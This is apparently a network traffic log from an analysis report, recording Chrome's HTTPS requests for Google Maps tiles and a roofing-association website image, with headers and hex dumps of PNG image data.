2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 54 0d 69 4d 6b 68 6c d0 ed e5 66 4d 49 e6 85 5d 38 f5 5e b6 ab dd ef b6 cd 67 89 27 96 bf 31 90 f5 6e 71 aa 7c 95 65 54 f7 83 29 c9 e5 5f e9 ed 4e 4c cc e6 78 fd 21 f0 4b 32 37 58 de 78 3b 4a dc 53 02 eb e4 a3 f4 3d 2a fd db 5d de 20 95 3a 7f fb 59 ce d3 97 2d be a5 d3 f2 1f e7 ea a0 0a 84 6f 4d ab 7a 27 75 5e 1c d0 5e 6e 6b c3 78 cc 53 99 2f b3 96 92 8a e5 6c 99 cb cb 09 26 35 17 c3 5a 38 46 ac 83 6c 24 48 0a d2 8f 00 f8 81 24 34 ac ca 11 2f 97 c5 2c bd d3 31 3b e7 17 48 42 67 77 bf d4 aa 5c 01 20 d7 ee e4 9f a5 4c 95 b3 74 dc e5 88 cc 11 f1 a2 f3 14 4a da 76 e6 c2 e5 06 ad 5b 57 7e ee bb cf 3b 27 96 f8 47 8f 38 f3 e1 c9 2f 24 31 bb 9f 02 d0 28 31 29 67 2f 37 61 cd ec a4 b6 3f 32 86 b9 96 d3 62 1d 3e 47 3a c9 4d 52 ee 98 54 cb 2d 5a 05 a6 f7 ac 2b bf 77 Data Ascii: TiMkhlfMI]8^g'1nq\|eT)_NLx!K27Xx;JS=*] :Y-oMz'u^^nkxS/l&5Z8Fl$H$4/,1;HBgw\ LtJv[W~;'G8/$1(1)g/7a?2b>G:MRT-Z+w
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: aa 64 5a 84 80 38 4f b3 de 61 b4 b5 b5 7b 2a f1 14 8a c1 19 52 e0 d6 f7 0d d3 69 b3 61 aa 9c 4a f4 05 90 e7 df 09 9e 44 5d a7 ae e5 ef f7 b9 df 88 00 1c 9b 2a f5 eb b1 5c 23 b7 36 15 88 4e c9 02 71 ea 27 dc 60 20 dd e0 21 39 38 d8 9f 6b 7d dd ca 91 55 ad 99 4a bc 6f bf c3 44 72 3b 6c 9e 82 b2 45 cf 7c 65 54 22 1c fa 56 e5 1a bc f7 93 57 89 e6 ba 75 23 99 59 59 9a 07 00 ee d3 1c 00 a7 8a f0 a1 ae b5 ac 4f b6 8a 5f 76 80 fb 40 00 e0 52 0a 01 ab af 05 37 de b6 c2 23 a2 d7 d5 6f f1 67 c1 54 97 78 5d 29 b7 9f 8f da f9 eb 67 ff 2c 3d 9e 1a 97 9b a9 53 9c 78 1d 3e 82 18 d5 a2 92 cc 85 8f 21 6f 15 51 05 f3 69 99 aa 83 04 ab 3f 04 45 4c d3 84 55 6d 6f c0 53 61 d9 b1 95 b2 95 af 60 50 ff 89 27 6d 9f d3 88 dd 96 6c 59 9d 6f e1 90 a8 5c 5f 43 7c a1 ed 0a 7e d9 1f 0a Data Ascii: dZ8Oa{RiaJD]\#6Nq'` !98k}UJoDr;lE\|eT"VWu#YYO_v@R7#ogTx])g,=Sx>!oQi?ELUmoSa`P'mlYo\_C\|~
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: fd 8e fc 75 b6 82 25 11 13 db 27 3d 74 72 26 2a 3d 27 94 9d c5 7d 62 ca 09 71 83 fd 68 8b 40 98 04 51 88 71 b2 16 10 42 22 4c 08 19 db e1 24 1e e0 03 e4 87 c9 1a d6 ff cd 28 24 89 c3 0c 23 53 26 66 90 d8 11 fe 34 72 83 87 7a 84 eb 2f f9 80 38 a6 d2 4d 2f 3d 5c 2a b0 95 64 10 3d 63 3c df 1a 9d ae fd 76 4d 17 a9 be 83 20 13 7d 9d bb f5 40 57 76 57 77 4a 4b 45 82 f1 21 e6 d8 05 77 f8 5b 6a 57 63 be 49 43 f6 06 92 b5 54 d4 d2 34 b6 11 b5 5e ca 3d 69 9d 85 d0 fa 92 a2 c5 eb f3 8a d9 2e 72 8c 8c 1f d0 38 60 2d 16 32 c6 b9 fd 82 b2 4c a6 58 b8 9e da 88 fc e6 29 6d 3e d2 d6 47 86 2a 41 e6 45 9a 52 84 f9 36 28 fd ba fc 80 b2 c4 6b 8c ab 55 58 5d 71 c4 f0 df 8d 2b 98 15 d2 6f 8e c4 cd a5 a5 4b b6 01 02 9c 93 dd 5b c2 c9 fb 8b 64 97 c6 be 1b ae fe 8a 4c 7f b9 7d b3 Data Ascii: u%'=tr&='}bqh@QqB"L$($#S&f4rz/8M/=\d=c<vM }@WvWwJKE!w[jWcICT4^=i.r8`-2LX)m>G*AER6(kUX]q+oK[dL}
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: bc c4 0b 3a 00 50 85 b7 10 92 8d 77 bc 0a 3a 39 fa 44 6d c4 06 2b 01 c0 65 e3 1a bc 33 60 d5 ba 00 67 2a 64 cf 83 a1 1b 70 48 73 aa 37 cd 32 ae 25 bd a0 82 9f b7 ba 5c 3f b4 fd 28 92 25 5a df da 4a f6 3b 4e 6f 58 21 40 08 21 3e 49 42 32 b6 70 3c 34 1b 63 37 99 26 24 c1 24 3a ea 8d 3e b5 02 92 e0 9a 29 21 84 1d 13 2f 89 08 85 64 d2 f3 06 72 b0 53 c7 a1 8d 23 34 d4 1f 72 83 30 0e 3e 19 ae 3a 28 7b 99 bc a2 74 d9 73 08 99 29 8f cf 99 4a af f3 50 36 4b ee d0 29 39 61 45 d9 cb 57 76 c2 a1 a4 c9 c9 67 07 5a 36 bf e7 c8 1b e7 a3 e1 43 aa 0d 32 aa 05 ff e7 88 ee 52 78 7b d9 dd e1 45 1d 65 6a a6 1f 23 66 20 de 42 f2 c0 46 0d 92 64 2f fc db 8f c0 f4 9d d6 ea 2e 50 d6 70 13 e0 0c 67 99 8e 81 b1 cf be 23 6f 67 01 f5 24 38 06 d4 1e 72 67 55 4a e0 b6 2b f1 dd 2d a4 74 Data Ascii: :Pw:9Dm+e3`g*dpHs72%\?(%ZJ;NoX!@!>IB2p<4c7&$$:>)!/drS#4r0>:({ts)JP6K)9aEWvgZ6C2Rx{Eej#f BFd/.Ppg#og$8rgUJ+-t
2024-04-23 14:54:22 UTC	8192	IN	Data Raw: 76 6e 57 d0 d2 ff 37 ec 38 73 f1 4b 21 75 96 36 01 4e a5 b3 3a 4b af de be 9e 95 81 e2 7e d2 2a 75 53 3b 56 59 b8 19 5e 64 ff 6c 0b 63 83 02 16 d6 9a d4 41 1b 9e c1 f2 41 b6 93 5e b8 34 62 99 12 3b 8f 10 88 4d fa f3 97 74 ba 60 64 ba a7 bb c0 7e 97 7b 02 73 af ea ac fc b5 d1 9c 83 14 71 53 f1 87 63 00 a4 2a d7 14 f6 7b f4 0a 64 7c b6 50 36 d1 5b 6c be 6c 39 b5 61 26 d6 90 dd 70 3d b8 2e 2b 6d a4 5f f4 34 21 b3 79 a6 62 a2 a1 9c f1 85 94 27 63 47 be 68 2c a4 fa 7a 90 88 f2 a1 67 d6 2f e2 c4 27 93 e4 31 1d e0 a1 0f 84 78 1b 91 4f 70 90 4c ff 79 9d 22 aa 90 b1 2f 1f ee f7 fc 71 85 4c 08 d9 7a d6 38 24 a4 af 90 83 15 fb 79 bd d2 73 07 e1 2c 8c 7b 31 56 4b ee 38 ff e7 66 82 64 76 ee 21 be f9 69 82 6d bc 11 61 df b9 e9 5b 07 6c 9e 2d a6 23 32 f1 de 5e d0 3e 80 Data Ascii: vnW78sK!u6N:K~uS;VY^dlcAA^4b;Mt`d~{sqSc{d\|P6[ll9a&p=.+m_4!yb'cGh,zg/'1xOpLy"/qLz8$ys,{1VK8fdv!ima[l-#2^>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.6	50056	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	1324	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=12999 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	627	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:22 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 02f80b146a348d9d7 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 4222 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=97 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	628	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 3c 50 4c 54 45 f1 f3 f4 fb fb fb a9 b5 b9 e9 e9 ed e1 e1 e5 7d 91 99 ed ed f1 e5 e5 e9 ff ff ff 91 a5 a9 d1 d9 dd f4 f8 f8 bd c5 cd d9 dd e1 69 81 89 71 75 79 5d 75 81 55 6d 79 4d 51 55 79 91 9d 03 dd d0 9f 00 00 0f e8 49 44 41 54 78 da ed fd 87 62 c2 38 0c 05 00 78 3b 3b c0 fd ff bf de 93 ec 0c 20 2d a4 87 9d 1c 89 6e b0 4a 1b 3d c9 5a 96 15 b1 35 79 5d 14 85 6c 9d 48 4f ba 95 c5 13 89 ad c9 19 ba 0c d7 8a 0c b4 84 80 d8 9c 8c a3 eb 30 5a 64 20 dd 6a b9 3b 00 1c 8b a5 ce a2 02 d0 b7 d6 3b e7 44 cd 24 77 01 40 b0 02 85 f7 22 0b 39 ed bd 37 81 da 36 0f ec 2f c8 b5 75 36 3b f8 48 ae 16 3b Data Ascii: PNGIHDRkXTpHYs<PLTE}iquy]uUmyMQUyIDATxb8x;; -nJ=Z5y]lHO0Zd j;;D$w@"976/u6;H;
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 23 82 fd b7 39 81 17 00 b8 d6 47 e9 4b 68 c2 d7 31 4f f4 2b 00 a3 f8 89 fd ef 6c a2 08 93 d6 97 01 18 c5 2f 75 fb b5 3d 24 9a e6 a9 2d cf 14 1c c5 2f da 2f ee 21 f2 34 56 72 69 8e d0 24 7e df 7e 73 07 11 0f 52 72 cf d1 ed 5c fc e2 9b 29 b4 09 3e 9a f7 a3 88 5f fc 30 47 e9 30 e2 27 51 3f 3b 81 03 89 3f 3a 81 fb 51 62 07 12 bf 88 f7 9a 98 3b 01 7d 24 f1 8b 67 27 60 0e 25 7e f1 e8 04 8e 26 7e f1 d0 2b 7e 38 f1 8f 4e 80 01 38 a0 f8 a9 d0 39 3a 81 51 fc ae 3d d0 6d 27 d8 09 d4 66 2e 7e 73 a8 b3 03 9c 0a c1 09 1c 53 fc 22 3a 01 94 f9 8e 29 7e 31 38 81 a3 8a 7f 70 02 87 15 7f 74 02 c5 51 c5 2f 62 2a 74 34 f1 3b a2 f8 9c 9d c0 c1 c4 4f 7b 1b 9e 6e fb c7 24 0e b7 fa c3 7d 55 06 bd e7 1b 40 1e 6b f5 2f dc 03 f5 58 c6 7f dc e8 9b e8 58 ed 31 ba 15 f1 d6 a7 e3 3a 38 Data Ascii: #9GKh1O+l/u=$-//!4Vri$~~sRr\)>_0G0'Q?;?:Qb;}$g'`%~&~+~8N89:Q=m'f.~sS":)~18ptQ/b*t4;O{n$}U@k/XX1:8
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: d9 f6 b2 28 eb 42 f4 ed 76 00 70 65 2e f6 86 8a cc 44 a2 2f 6c 55 db 0d 97 40 58 03 a1 29 2c fb e4 f2 1a 9d 5b 65 af 8a d2 6f e9 08 a9 fa e3 da 6d a2 72 29 6c a9 82 19 d8 8e 30 c1 c5 b7 31 2a cf 1d 94 72 1d b6 6e 55 5e 1b f8 58 df 72 5a bb 21 29 10 79 a9 2e 1a 65 11 07 34 d9 00 a0 22 e0 62 81 93 cb a0 d9 cd 60 2d 7b ab 9a 96 9a 7b 45 0e 42 79 47 53 21 6e e1 23 4e 0a 0a 9d d9 0a d4 dc d1 09 35 c8 03 40 3c 10 b2 08 80 c8 d0 19 ba 40 01 01 18 a0 f4 00 60 78 cd 38 c2 68 e9 f3 58 af cc 8d 00 b2 81 d2 2b 2b 92 1b 01 9c 87 1d 2b 81 cb 7f 6c 13 04 6a 59 f6 a5 75 65 fa 35 30 de aa 84 0a e2 cb 3f 12 11 c8 ea 0b 01 00 e2 a0 b6 b1 e9 01 88 4d 1f 54 ed fe e9 67 02 02 26 2f 00 50 7f 55 e2 1c 13 f7 71 27 a4 b8 db f7 fb 51 30 42 20 f3 6d ac a4 a3 7a 40 29 a8 30 94 14 81 Data Ascii: (Bvpe.D/lU@X),[eomr)l01*rnU^XrZ!)y.e4"b`-{{EByGS!n#N5@<@`x8hX+++ljYue50?MTg&/PUq'Q0B mz@)0
2024-04-23 14:54:22 UTC	1084	IN	Data Raw: 2b b6 ef 00 c0 0f 36 d5 90 d7 51 46 48 f3 07 69 ee 26 d9 f6 31 13 ac f0 da 50 b6 88 81 6c 94 20 e2 43 4e 22 09 00 24 70 85 a1 6f 87 4b 9e 55 04 d6 b9 40 a6 70 d9 65 59 be 5d 16 99 2d 6d 51 bf c7 f6 1d 00 ac c7 f0 e8 c8 fa 2e 96 32 42 4c 5c bb 60 ee 26 d6 22 46 6f 8e 99 a0 a5 e0 08 31 42 07 0b 8d 89 9c 56 c4 24 12 49 03 42 09 84 c6 e5 b8 70 c6 94 78 4d 1a 30 10 b2 f3 f7 f7 c7 c0 3b 38 77 cf 4b fb 2f 00 40 d4 5d 0c 74 c9 da ab 0b de 43 4e d8 35 31 13 14 f8 b8 91 2a 24 8f a2 53 31 89 54 e0 5f 46 45 18 2e 39 1a c2 75 1e 30 12 8c 00 8a a2 4d 2f 7f d7 80 c8 ba f8 3b eb 4f 00 c8 21 23 0c 33 f7 90 fb 2a 8b 31 9c 43 a4 df 55 a6 83 1a d8 2a 64 3e 63 12 69 d9 60 28 db cc b6 f4 86 b2 d0 5f 76 5e 28 d8 c2 85 99 9f f9 67 de b5 5b ab ec cb f4 33 00 30 04 ea 62 79 28 6b Data Ascii: +6QFHi&1Pl CN"$poKU@peY]-mQ.2BL\`&"Fo1BV$IBpxM0;8wK/@]tCN51$S1T_FE.9u0M/;O!#31CU*d>ci`(_v^(g[30by(k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.6	50055	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	985	OUT	GET /wp-content/uploads/2017/04/recycle-150x150.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
2024-04-23 14:54:22 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:21 GMT Content-Type: image/png Content-Length: 1714 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:29:03 GMT ETag: "1be1e1c-6b2-5d9f3d42491c0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:22 UTC	1714	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 03 00 00 00 0b df 81 d0 00 00 00 24 50 4c 54 45 66 b2 3c 3a 94 2d 75 bc 42 63 b0 3b 7b c0 44 7b c1 44 7c c1 44 7c c1 44 39 94 2c 38 93 2c 38 93 2c 7c c1 44 67 7a 92 a2 00 00 00 0a 74 52 4e 53 00 31 2b 0e 59 87 bf ec a3 e7 c8 23 13 e0 00 00 06 33 49 44 41 54 78 da c5 5c 5b 92 e3 30 08 c4 08 3d 7d ff fb ce c7 38 89 ad 27 10 49 61 6a 6b f3 b1 c9 a0 a6 dd 82 96 b2 00 5f 84 41 72 cf f0 8f 1f e7 9c b3 96 0c ec 0b 63 0c 00 18 b4 e7 28 bc db 95 98 39 42 88 21 1c 06 c0 8c f3 3a bd dd 91 97 a1 98 52 4a 29 c5 80 dc bc 36 64 15 d2 3b 82 01 40 c7 c8 8b 56 67 85 b7 ac fe f3 a2 71 5a a7 33 fb b0 4a 29 c5 03 c0 30 e0 3a 17 c3 f5 e2 d5 03 2e cf 28 23 ae cc ea c8 b2 4a 89 78 ac 3f 57 3e 8d 59 09 df Data Ascii: PNGIHDR$PLTEf<:-uBc;{D{D\|D\|D9,8,8,\|DgztRNS1+Y#3IDATx\[0=}8'Iajk_Arc(9B!:RJ)6d;@VgqZ3J)0:.(#Jx?W>Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.6	50057	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	1324	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=93519 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	628	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:22 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 0906765ce366a0d80 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 5829 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=111 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	627	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 7e 50 4c 54 45 f1 f3 f4 fb fb fb ff ff ff dd dd e1 f4 f4 f4 e5 e5 e9 e9 e9 ed e5 e9 e9 a9 b5 b9 d1 d9 dd e1 e1 e5 a5 a9 a9 d9 dd e1 71 75 79 95 99 9d dd e1 e5 bd bd c1 ed ed f1 c9 c9 c9 ed ed ed f8 f8 f8 4d 51 55 e9 ed ed f4 f8 f8 79 7d 81 85 89 8d 69 85 91 ed f1 f1 7d 91 99 c9 d1 d5 f8 f8 fb 65 69 6d 91 a5 ad 5d 75 81 59 5d 61 55 6d 79 cd 29 25 9d c1 f8 79 91 9d e9 41 35 bd d5 f8 b1 15 11 74 d5 1f 26 00 00 15 ed 49 44 41 54 78 da ed fd 07 63 e2 3a 12 80 01 a8 ba bb bb d1 29 29 fb fe ff 1f bc 91 64 1b 9b 00 01 2c b0 73 c9 dc ed b2 8f d4 f9 2c 4d 93 34 42 84 d8 9b 9c 11 ab c2 0c fd 4a 31 Data Ascii: PNGIHDRkXTpHYs~PLTEquyMQUy}i}eim]uY]aUmy)%yA5t&IDATxc:))d,s,M4BJ1
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 59 d8 10 65 a9 72 8c 30 10 c4 9c c0 d2 90 8a 02 f4 05 a2 0b ee dc ee 51 d3 09 2c 0c 50 31 0a f5 45 01 0b 5a 20 e7 66 83 36 01 00 0b 4f fc f4 50 db 4f 17 a5 85 db 83 8a 09 00 28 44 51 06 7b 48 97 38 62 40 f1 5b 95 49 c7 5f 1a 32 65 31 48 5f 18 f4 30 80 b1 aa a2 d2 06 c6 da a2 90 85 2c af fe 24 00 2a 0c d2 65 03 0d 8a ee 33 29 a3 d7 c5 d5 9a a0 9e 30 68 c1 29 97 7e 7d 7d bb 49 19 1d 80 0c 83 b4 ac 09 1a 0e 35 54 72 bb a6 b7 0f a8 d1 01 a8 54 70 70 18 b4 30 69 88 30 b9 5b ff d1 01 2c 64 18 64 0c fc d9 b1 e3 99 59 a3 c8 5d fa 8f bd 34 04 61 9b f8 d9 ce a0 18 c4 a0 34 c6 8d 1a 8c 7b 77 19 d4 71 97 86 6a 9b 3d c4 04 08 c3 d7 ee f9 c6 71 48 ef 1c 4c 63 d6 c5 17 86 dc 14 00 63 ef e1 28 e0 68 f8 40 32 c3 73 ee 8e e6 c6 02 b0 30 38 f5 54 45 f2 61 fd bb 86 8f 60 e4 Data Ascii: Yer0Q,P1EZ f6OPO(DQ{H8b@[I_2e1H_0,$*e3)0h)~}}I5TrTpp0i0[,ddY]4a4{wqj=qHLcc(h@2s08TEa`
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 9f 0f e0 9f 0e 00 1a 0f 1a bf 1c c0 fb 05 b9 f1 cb 53 d5 6c 01 69 93 57 1f 9b 2a 2e 01 b8 d5 09 eb 2e 08 bc fc d4 d0 85 29 70 f3 1c f8 f1 00 8a 89 01 58 bc bc a3 de a5 21 70 e3 97 2b 00 1a cf 9a bf 7c 65 e4 d2 10 b8 d1 08 a8 63 76 1a ed f5 eb 97 86 86 39 42 ed 15 91 d7 03 28 34 00 d0 58 11 19 61 6d ec fc 10 b8 71 5a 6b af 88 8c b0 34 c4 cf e9 7f 6b 70 a7 3d 1d 1c 63 6d ec df c3 13 a0 49 07 35 76 dc 18 63 6d ec cc 10 b8 f9 6b eb 9e 2b 48 9b 8c b2 30 f0 65 08 dc 11 85 6b ee 38 31 0e 00 fe a0 01 10 42 35 bb 81 e7 00 f0 ac 8f f9 7c fe 61 5d 1a aa bd 21 70 df ea 88 6e 37 d0 07 50 d6 72 c3 17 32 f5 69 e2 b3 d5 c6 d1 e3 de 51 73 0b ca 0b 99 cf b7 97 7c 6b f1 af 86 70 ef fa 98 6e 37 d0 5b 1b 63 ed ee c8 cb 5f c0 ea 8f 8a cf 62 f2 6f 62 22 62 5a 98 24 b6 fa 32 bb Data Ascii: SliW*..)pX!p+\|ecv9B(4XamqZk4kp=cmI5vcmk+H0ek81B5\|a]!pn7Pr2iQs\|kpn7[c_bob"bZ$2
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 78 cc db 59 a0 1d 73 42 06 66 11 3a d5 79 26 db ce 1d 06 ff 55 84 60 2e 16 c2 06 28 00 45 9d 32 16 c7 d4 f1 08 00 86 c0 d3 06 80 3e 37 b0 3c 24 47 00 4b 30 f9 db 03 24 81 72 76 b3 3a 27 46 a2 10 0e 6f cf 77 11 54 3f 55 5a 58 03 68 52 c6 6e ea 78 fc de 00 e0 69 b7 46 98 e2 86 52 1d fb 45 21 ad eb f4 f7 b3 0b 82 43 bb ce eb c0 bb 87 3b 95 1a 32 91 07 da 38 83 4f 65 b6 99 e1 a3 c8 f4 90 f5 52 c7 56 b6 bb e7 b8 00 21 da 8e 10 c3 6f dc cd 06 89 4a 74 a4 80 ea 81 db 28 24 d7 07 54 d4 9c c9 04 50 e5 82 75 7a d8 4f 1d 1b b1 9f 37 03 9a 23 c4 5a 46 58 0f 40 67 b7 2c 4c 8d 25 ea 85 fc 72 51 ee 8e 65 c9 67 5e 9b a2 71 af 98 73 09 40 27 ff 53 a2 00 a0 49 1c 30 75 7a 0d a9 17 43 8e 91 f5 00 b0 ce e3 6d 6b 23 8d c8 55 49 bd dd 0b 1e 16 e9 06 9a 5b 09 0c 6a 38 8f c7 c5 Data Ascii: xYsBf:y&U`.(E2>7<$GK0$rv:'FowT?UZXhRnxiFRE!C;28OeRV!oJt($TPuzO7#ZFX@g,L%rQeg^qs@'SI0uzCmk#UI[j8
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: ef 64 08 bc 8d 58 1e 92 61 c0 e5 b3 fa 2a 4e 94 21 f1 90 5f d2 e1 1c d2 8d cb 00 78 9a 8e c5 40 99 b9 8b 26 5e c5 89 83 93 01 95 06 5d 06 80 e2 38 86 bd a3 1c fa a9 40 65 e6 a5 a2 26 f9 c5 9d 79 ea 9a 05 4d 00 3e 2f d9 80 4f f5 71 e8 ab b4 e2 f8 42 2b d5 27 89 3a 9c 71 b9 53 90 0c 93 d6 83 b3 21 a5 9f 7b 3a 04 1a 20 4d 33 3d 42 f6 f9 06 aa 04 18 bd 4c b8 28 7c b0 cb 3e 5e d9 c8 c1 d9 90 d2 ee 18 08 bd f5 9e ff 1b 6d f4 a7 b9 15 cd f6 01 4e 61 89 66 91 41 f3 a8 a7 0b 95 d5 80 2b f9 98 a7 11 40 37 14 7e eb a6 05 ed 00 70 f3 a6 5b 49 dd 52 1a 3d 59 9a 26 29 97 3f 43 9e 5f 11 53 60 50 36 54 6b 75 21 19 4a 5a 00 55 ee b6 a3 81 10 3f c1 e1 93 0f d1 1b 2a e3 bf f2 19 32 10 10 8f a5 d4 00 e0 42 3a dc 6a cc f2 6a 96 ef 9b 41 90 e4 b6 68 5e 01 e5 ea e7 41 f8 c6 09 Data Ascii: dXaN!_x@&^]8@e&yM>/OqB+':qS!{: M3=BL(\|>^mNafA+@7~p[IR=Y&)?C_S`P6Tku!JZU?2B:jjAh^A
